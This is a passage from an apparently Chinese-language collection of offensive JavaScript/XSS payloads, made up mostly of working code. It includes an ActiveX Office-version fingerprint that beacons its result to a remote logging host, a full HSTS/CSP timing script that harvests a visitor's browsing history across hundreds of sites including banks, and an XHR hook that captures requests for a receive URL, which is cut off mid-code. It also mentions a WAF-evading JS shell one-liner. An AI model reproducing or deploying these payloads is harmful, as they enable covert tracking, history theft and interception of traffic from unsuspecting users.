} catch (e) {}

try {
mb = new ActiveXObject("SharePoint.OpenDocuments.3")
} catch (e) {}

try {
mc = new ActiveXObject("SharePoint.OpenDocuments.2")
} catch (e) {}

try {
md = new ActiveXObject("SharePoint.OpenDocuments.1")
} catch (e) {}

var a = typeof ma;
var b = typeof mb;
var c = typeof mc;
var d = typeof md;
var key = "No Office Found";

if (a == "object" && b == "object" && c == "object" && d == "object") {
key = "Office 2010"
}
if (a == "number" && b == "object" && c == "object" && d == "object") {
key = "Office 2007"
}
if (a == "number" && b == "number" && c == "object" && d == "object") {
key = "Office 2003"
}
if (a == "number" && b == "number" && c == "number" && d == "object") {
key = "Office Xp"
}

new Image().src = 'http://remote.com/log.php?office_version='+encodeURI(key);


嗅探

旨在滥用HTTP严格传输安全和内容安全策略的智能有效负载,以收集目标浏览器的浏览历史记录。 它有一些限制(只支持FF和Chrome,如果HTTPS在任何地方启用,将无法工作等),但它绝对是一个非常聪明的技术

说明

点击查看

JS代码

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/**
* @fileoverview This file loads a bunch of HSTS domains and times how long it
* takes for them to be redirected from HTTP to HTTPS. Based on that, it
* decides whether the domain is a previously-noted HSTS domain or not.
* @author yan
* @license MIT
* @version 0.2.0
*/

// Timing in milliseconds above which a network request probably occurred.
// TODO: Determine this dynamically from the distribution of response times.
var TIMING_UPPER_THRESHOLD = 5;
// Timing in milliseconds below which a request time is probably a measurement
// fluke.
var TIMING_LOWER_THRESHOLD = -10;
// Timing allowance for a synchronous image load, which we use to confirm
// positive results in Chrome.
var TIMING_CONFIRM_THRESHOLD = 20;

// Use an arbitrary static preloaded HSTS host for timing calibration
var BENCHMARK_HOST = 'http://torproject.org/';
// Initial timing calibration offset. This gets recalculated every other fetch.
var OFFSET = 0;

var visitedElem = document.getElementById('visited');
var notVisitedElem = document.getElementById('not_visited');
var disclaimer = document.getElementById('disclaimer');
var isFirefox = (window.navigator.userAgent.indexOf('Firefox') !== -1);
var visited = []; // list of hosts that are potentially visited

// Edit this based on scraper results.
var hosts =
['http://www.npmjs.com/',
'http://savecrypto.org/',
'http://www.xoom.com/',
'http://atom.io/',
'http://angel.co/',
'http://vine.co/',
'http://www.oculus.com/en-us/',
'http://www.hackerrank.com/',
'http://noscript.net/',
'http://www.sixt.com/',
'http://www.crazydomains.com.au/',
'http://www.yola.com/',
'http://www.mailerlite.com/',
'http://giustizia.it/',
'http://notepad-plus-plus.org/',
'http://www.unfranchise.com.tw',
'http://www.ing-diba.de/',
'http://www.adreactor.com/',
'http://meduza.io/',
'http://www.wealthfront.com/',
'http://mail.live.com/default.aspx',
'http://muabannhanh.com/',
'http://upjers.com/',
'http://www.rabobank.nl/',
'http://www.ing.nl/',
'http://www.kickstarter.com/',
'http://creativemarket.com/',
'http://pinterest.com/',
'http://www.ashampoo.com/en/usd',
'http://www.sofort.com/',
'http://www.xing.com/',
'http://podio.com/',
'http://www.servis24.cz/',
'http://www.galeria-kaufhof.de/',
'http://www.kocpc.com.tw/',
'http://www.commbank.com.au/',
'http://recyclix.com/',
'http://www.usajobs.gov/',
'http://briian.com/',
'http://www.vultr.com/',
'http://about.gitlab.com/',
'http://www.tanga.com',
'http://wanelo.com/',
'http://herokuapp.com/',
'http://unsplash.com/',
'http://ria.com/',
'http://www.missguided.co.uk/',
'http://lever.co/',
'http://venmo.com/',
'http://ello.co/',
'http://www.template.net/',
'http://www.digid.nl/',
'http://qiwi.ru/',
'http://www.instacart.com/',
'http://www.touchofmodern.com/',
'http://roadtrippers.com/',
'http://www.freshdesignweb.com/',
'http://www.fnb.co.za',
'http://www.graphicsprings.com/',
'http://www.patreon.com/',
'http://hotwords.com/',
'http://www.cryptsy.com/',
'http://vitalsource.com/',
'http://pass.yandex.ua/',
'http://www.yammer.com/',
'http://ixquick.com/',
'http://sbis.ru/',
'http://www.ecosia.org/',
'http://www.freecycle.org/',
'http://pass.yandex.by/',
'http://www.mailjet.com/',
'http://www.yugster.com/',
'http://tinypng.com/',
'http://nest.com/',
'http://kat.cr/',
'http://www.practo.com/',
'http://c9.io/',
'http://beget.ru/',
'http://startpage.com/',
'http://www.bet-at-home.com/',
'http://tripcase.com/',
'http://www.douglas.de/',
'http://yande.re/post',
'http://www.bookbub.com/',
'http://www.swarmapp.com/',
'http://www.woorank.com/',
'http://paytm.com/',
'http://www.payza.com/',
'http://www.instapaper.com/',
'http://wikitech.wikimedia.org/',
'http://www.ipko.pl/',
'http://www.straighttalk.com/wps/portal/home',
'http://heroku.com/',
'http://www.privat24.ua',
'http://zimbra.free.fr/',
'http://www.blueapron.com/',
'http://secure.logmein.com/',
'http://adblockplus.org/',
'http://www.udemy.com/',
'http://tribalwars2.com/',
'http://sparkfun.com/',
'http://www.sparebank1.no/bank/',
'http://spotify.com/',
'http://creditkarma.com/',
'http://www.paxum.com/payment/phrame.php',
'http://jamberrynails.net/',
'http://fotolia.com/',
'http://stacksocial.com/',
'http://www.cms.gov/',
'http://iconfinder.com/',
'http://www.expireddomains.net/',
'http://navalny.com/',
'http://privatbank.ua/',
'http://www.englishforums.com/',
'http://www.hushmail.com/',
'http://www.pingdom.com/',
'http://www.zomato.com/',
'http://icook.tw/',
'http://www.office.com/',
'http://groupme.com/',
'http://wikimedia.org/',
'http://dapulse.com/',
'http://www.cuelinks.com/',
'http://www.attracta.com/',
'http://www.outlook.com/owa/',
'http://www.dnb.no/',
'http://www.lotterypost.com/',
'http://bitcoin.org/',
'http://href.li/',
'http://skandiabanken.no/',
'http://foursquare.com/',
'http://www.usa.gov/',
'http://www.bitgold.com/',
'http://quizlet.com/',
'http://www.alipay.com',
'http://yadi.sk/',
'http://duckduckgo.com/',
'http://www.dashlane.com/',
'http://www.ozbargain.com.au/',
'http://www.ricardo.ch/',
'http://www.fakku.net/',
'http://www.mturk.com/',
'http://www.national-lottery.co.uk/',
'http://www.onthebeach.co.uk/',
'http://www.icloud.com/',
'http://www.zenefits.com/',
'http://code.org/',
'http://www.chapters.indigo.ca/',
'http://www.dntx.com/',
'http://www.slsp.sk/',
'http://www.raise.com/',
'http://cinematrix.net/',
'http://www.baifubao.com/',
'http://blogun.ru/',
'http://videostripe.com/',
'http://typekit.com/',
'http://www.splitwise.com/',
'http://www.eobot.com',
'http://login.microsoftonline.com/',
'http://www.xero.com/',
'http://www.rakuten-sec.co.jp/',
'http://www.creativecow.net/',
'http://sweb.ru/',
'http://www.seroundtable.com/',
'http://www.hipchat.com/',
'http://subscribe.free.fr/',
'http://topvisor.ru/',
'http://www.avforums.com/',
'http://www.travelodge.co.uk',
'http://opendns.com/',
'http://www.pcloud.com/',
'http://www.akiba-online.com/',
'http://www.instamojo.com/',
'http://www.commsec.com.au/',
'http://assembla.com/',
'http://www.bukalapak.com/',
'http://www.docusign.net/',
'http://www.hotslogs.com/',
'http://www.consorsbank.de/home',
'http://www.searchlock.com/',
'http://madmimi.com/',
'http://www.bawagpsk.com/BAWAGPSK/PK',
'http://www.crunchbase.com/',
'http://www.maketecheasier.com/',
'http://session.wikispaces.com/1/auth/auth',
'http://witkit.com/',
'http://pixabay.com/',
'http://www.mygreatlakes.org/',
'http://ncore.cc/',
'http://www.hpconnected.com/',
'http://payeer.com/',
'http://join.me/',
'http://www.gamefly.com/',
'http://bitcoinwisdom.com/',
'http://land.nrw/',
'http://www.saddahaq.com/',
'http://www.quantcast.com/',
'http://www.behance.net/',
'http://xapo.com/',
'http://fabric.io/',
'http://www.dollarphotoclub.com/',
'http://mandrillapp.com/',
'http://moodle.org/',
'http://imp.free.fr/',
'http://www.pebble.com/',
'http://www.periscope.tv/',
'http://generalassemb.ly/',
'http://login.szn.cz/',
'http://www.lyft.com/',
'http://www.mql5.com/',
'http://www.wrike.com/',
'http://www.fanfiction.net',
'http://www.box.com/',
'http://www.test.de/',
'http://calendar.sunrise.am',
'http://www.djangoproject.com/',
'http://qiwi.com/',
'http://adlure.net/',
'http://www.stitchfix.com/',
'http://www.bankofthewest.com/',
'http://roem.ru/',
'http://www.carthrottle.com/',
'http://pass.yandex.kz/',
'http://gumroad.com/',
'http://www.hosteurope.de/',
'http://www.canva.com/',
'http://www.usbank.com/',
'http://evernote.com/',
'http://secure.actblue.com/',
'http://myspace.com/',
'http://www.jbhifi.com.au',
'http://www.physicsforums.com/',
'http://www.abnamro.nl/nl/index.html',
'http://twittercommunity.com/',
'http://wikileaks.org/',
'http://www.chmail.ir/',
'http://mail.ru',
'http://www.victoriassecret.com/',
'http://www.firstnational.com/',
'http://www.dominos.co.uk/',
'http://www.indiblogger.in/',
'http://www.zendesk.com/',
'http://www.hypovereinsbank.de/',
'http://www.openshift.com/',
'http://buffer.com/',
'http://what.cd/',
'http://hide.me/',
'http://trello.com/',
'http://www.comodo.com/',
'http://twilio.com/',
'http://www.alternate.de/',
'http://telegram.org/',
'http://www.manageengine.com/',
'http://unsw.edu.au/',
'http://www.flipkey.com/',
'http://www.popads.net/',
'http://myworkday.com/',
'http://www.meneame.net/',
'http://popcorntime.io/',
'http://iqoption.com/',
'http://www.tumblr.com/',
'http://www.reddit.com/',
'http://www.petfinder.com/',
'http://www.messenger.com/',
'http://www.digitalpoint.com/',
'http://www.blibli.com/',
'http://namu.wiki/',
'http://launchpad.net/',
'http://www.blognone.com/',
'http://www.ing.be/en/retail/Pages/index.aspx',
'http://acrobat.com/',
'http://mbank.pl/',
'http://www.fasttech.com/',
'http://www.post.ch/de',
'http://gyazo.com/',
'http://packagecontrol.io/',
'http://vimeo.com/',
'http://www.airbnb.es/',
'http://www.airbnb.it/',
'http://www.airbnb.fr/',
'http://www.airbnb.co.kr/',
'http://www.airbnb.de/',
'http://www.airbnb.co.uk/',
'http://www.airbnb.com.au/',
'http://www.airbnb.ca/',
'http://www.airbnb.co.in/',
'http://www.airbnb.com.br/',
'http://www.airbnb.ru/',
'http://www.centrum24.pl/centrum24-web/login',
'http://coursera.org/',
'http://ellislab.com/',
'http://www.udacity.com/',
'http://bitcointalk.org/',
'http://uwaterloo.ca/',
'http://vc.ru/',
'http://tjournal.ru/',
'http://www.biblegateway.com/',
'http://www.themuse.com',
'http://att.yahoo.com/',
'http://www.yahoo.com/',
'http://ficbook.net/',
'http://www.ameriprise.com/',
'http://www.here.com/',
'http://www.rocketlawyer.com/',
'http://exmo.com/',
'http://skladchik.com/',
'http://healthunlocked.com/',
'http://www.upwork.com/',
'http://www.thegioididong.com/',
'http://fermasosedi.ru/',
'http://www.thegrommet.com/',
'http://www.freelancer.com/',
'http://www.freelancer.in/',
'http://klout.com/',
'http://www.veikkaus.fi/',
'http://www.lucidchart.com/',
'http://www.opensuse.org/',
'http://monitorbacklinks.com/',
'http://www.5giay.vn/',
'http://noncombatant.org/',
'http://nonfreesoftware.org/',
'http://hackpad.com/',
'http://meta.discourse.org/',
'http://devinegan.com/',
'http://ongardie.net/',
'http://titanous.com/',
'http://www.funkthat.com',
'http://nelhage.com/',
'http://yawnbox.com/',
'http://rednerd.com',
'http://smbmarketplace.cisco.com/',
'http://www.cloudflare.com/',
'http://letsencrypt.org/',
'http://helloworld.letsencrypt.org/',
'http://hoffman-andrews.com/',
'http://jdkasten.com/',
'http://jhalderm.com/',
'http://jve.linuxwall.info/'
];

/**
* Gets hostname from URL.
*/
function getHost_(url) {
return url.replace('http://', '').split(/\/|\?/)[0];
}

/**
* Our CSP policy (HTTP-only images) causes this to fire whenever the img src
* redirects to HTTPS, either by HSTS (307) or plain old redirects (301/302).
* @param {number} start Time when the image load started
* @param {string} host The host that fired the error
* @private
*/
function onImgError_(start, host) {
var time = new Date().getTime() - start;
if (host === BENCHMARK_HOST) {
// This is just a calibration measurement so update the offset time.
OFFSET = time;
} else {
// We need to subtract offset, otherwise hosts that are further down on the
// page seem to have higher load times because of the time that it took for
// the DOM to load.
display(host, time - OFFSET, OFFSET);
}
}


/**
* Double-check whether hosts have been visited by trying synchronous image
* loads, which have cleaner timing profiles. I find this helps reduce the
* false positive rate in Chrome. AFAICT, the async image-load sniffing method
* works great in Firefox so this isn't necessary there.
* @param {function(string, number)} callback Gets called when img error fires.
* @param {function()} finished Called when all loads are done.
* @private
*/
function confirmVisited_(callback, finished) {
var initial; // initial time
var img = new Image();
var timeouts = []; // array of timeout IDs
var hostsDone = [];
var dummySrc = 'http://example.com/'; // URL for timer initialization
function clearTimeouts_() {
// Clear existing timeouts
timeouts.forEach(function(id) {
window.clearTimeout(id);
});
timeouts = [];
}
function doNext_() {
if (visited.length === 0) {
finished();
return;
}
// Shift instead of pop since we are pushing hosts into the array while
// this is running
var host = visited.shift();
initial = new Date().getTime();
var src = 'http://' + host + '/?' + initial.toString();
img.src = src;
// Abort after 20ms since positive results should take less time anyway
timeouts.push(window.setTimeout(img.onerror.bind({src: src}),
TIMING_CONFIRM_THRESHOLD));
}
img.onerror = function() {
if (this.src !== dummySrc) {
clearTimeouts_();
var host = getHost_(this.src);
if (hostsDone.indexOf(host) !== -1) {
// We might have called the callback for this host already.
console.log('already done, skipping', host);
} else {
hostsDone.push(host);
callback(host, new Date().getTime() - initial);
}
} else {
console.log('initialized timer using', this.src);
}
doNext_();
};
img.onload = function() {
// Should never happen but add a callback in case so it doesn't block the
// rest of the image requests from being sent.
console.log('UNEXPECTEDLY LOADED', this.src);
doNext_();
};
// Set the image source initially to a dummy URL b/c the first load seems to
// always take a long time no matter what.
img.src = 'http://example.com/';
}

/**
* Times how long a request takes by loading it as an img src and waiting for
* the error to fire. I would use XHR here but it turns out CORS errors fire
* before CSP.
* @param {string} host
*/
function timeRequest(host) {
var img = new Image();
img.onerror = onImgError_.bind(this, new Date().getTime(), host);
// Add random params so we don't hit the cache
img.src = host + '?' + Math.random().toString().substring(2);
}

/**
* Measures the calibration drift so we have a better estimate of how long
* a resource fetch actually took. Since we expect the time T to fetch a
* preloaded STS host to be ~constant, the fact that it changes indicates
* that our timing is getting skewed by some amount, probably due to DOM
* processing. Correct for the skew by subtracting T from measurements that
* happen shortly after.
*/
function calibrateTime() {
timeRequest(BENCHMARK_HOST);
}

/**
* Display the results.
* @param {string} url
* @param {number} time
* @param {number} offset
*/
function display(url, time, offset) {
var li = document.createElement('li');
var host = getHost_(url);
li.id = host;
li.appendChild(document.createTextNode(host));
if (time < TIMING_UPPER_THRESHOLD && time > TIMING_LOWER_THRESHOLD) {
if (!isFirefox) {
// If we are in Chrome, hide the results for now because the false
// positive rate is really high until confirmVisited_() is called.
li.style.color = 'lightgray';
}
visitedElem.appendChild(li);
visited.push(host);
} else {
notVisitedElem.appendChild(li);
}
}

if (!isFirefox) {
// Chrome needs to do an extra timing confirmation step for results to be not
// shitty. Wait 3 seconds for the async loads to mostly finish, then try one
// synchrous load for each potentially-visited host.
disclaimer.style.display = '';
window.setTimeout(function() {
confirmVisited_(function(host, t) {
if (!disclaimer.done_) {
disclaimer.style.color = 'orange';
disclaimer.innerText = 'Removing false positives . . .';
disclaimer.done_ = true;
}
var elem = document.getElementById(host);
if (!elem) {
console.warn('No element found', host);
return;
}
if (t <= TIMING_CONFIRM_THRESHOLD / 2) {
console.log('showing', host, t);
elem.style.color = '';
} else {
console.log('hiding', host, t);
elem.style.display = 'none';
notVisitedElem.appendChild(elem);
}
}, function() {
disclaimer.style.color = 'green';
disclaimer.innerText = 'Done!';
saveCrypto_(!notVisitedElem.querySelector('#savecrypto\\.org'));
});
}, 3000);
} else {
window.setTimeout(function() {
saveCrypto_(visitedElem.querySelector('#savecrypto\\.org'));
}, 3000);
}

/**
* Tell the user to sign this awesome petition if they haven't visited it!
* Thank them if they have!
* @param {Boolean} signed
* @private
*/
function saveCrypto_(signed) {
var text = signed ? 'PS: Thanks for signing savecrypto.org! <3' :
'PS: Tell Obama to support strong encryption! Sign the petition at savecrypto.org.';
disclaimer.style.display = '';
disclaimer.style.color = 'blue';
disclaimer.innerHTML = text;
}

// Main loop
hosts.forEach(function(host) {
calibrateTime();
timeRequest(host);
});

JS Shell

一个简单的单行脚本,用于在目标系统上执行JS,并将其嵌入标记中以实现基本WAF逃避。

JS代码

捕获XHR

一个非常聪明的脚本,它定义了一个独特的函数,它覆盖了XmlHttpRequest的“打开”和“发送”原型函数。

JS代码

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function captureXHR(receive_url,interceptor){
if(typeof interceptor == 'undefined') interceptor ={};
XMLHttpRequest.prototype._send = XMLHttpRequest.prototype.send;
XMLHttpRequest.prototype._open = XMLHttpRequest.prototype.open;
XMLHttpRequest.prototype.open = function(method, url, async, user, password){
var a = document.createElement('a');
a.href = url;
url = escape(a.href);
this.sucks = {method,url,async,user,password};
interceptor.onopen && (arguments = interceptor.onopen.apply(this,arguments)||arguments);
this._open.apply(this,arguments);
};
XMLHttpRequest.prototype.send = function(data){
this.sucks.body = data;
interceptor.onsend && (data = interceptor.onsend.call(this,data)||data);
this._se